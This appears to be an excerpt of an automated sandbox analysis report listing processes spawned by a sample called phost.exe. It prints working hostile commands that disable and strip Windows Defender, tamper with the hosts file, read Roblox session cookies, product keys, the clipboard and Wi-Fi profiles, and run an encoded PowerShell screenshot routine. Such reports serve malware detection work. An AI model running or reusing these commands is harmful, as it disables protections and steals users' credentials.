Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior

Modifies the hosts file

Source: C:\Users\user\Desktop\phost.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Removes signatures from Windows Defender

Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior

Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Users\user\Desktop\phost.exe "C:\Users\user\Desktop\phost.exe"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Verify your permission and try again.', 0, 'Access Denied', 48+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBE0B.tmp" "c:\Users\user\AppData\Local\Temp\jnxiphgt\CSC11F91C33F0BB4EC3B771882E34D952E.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

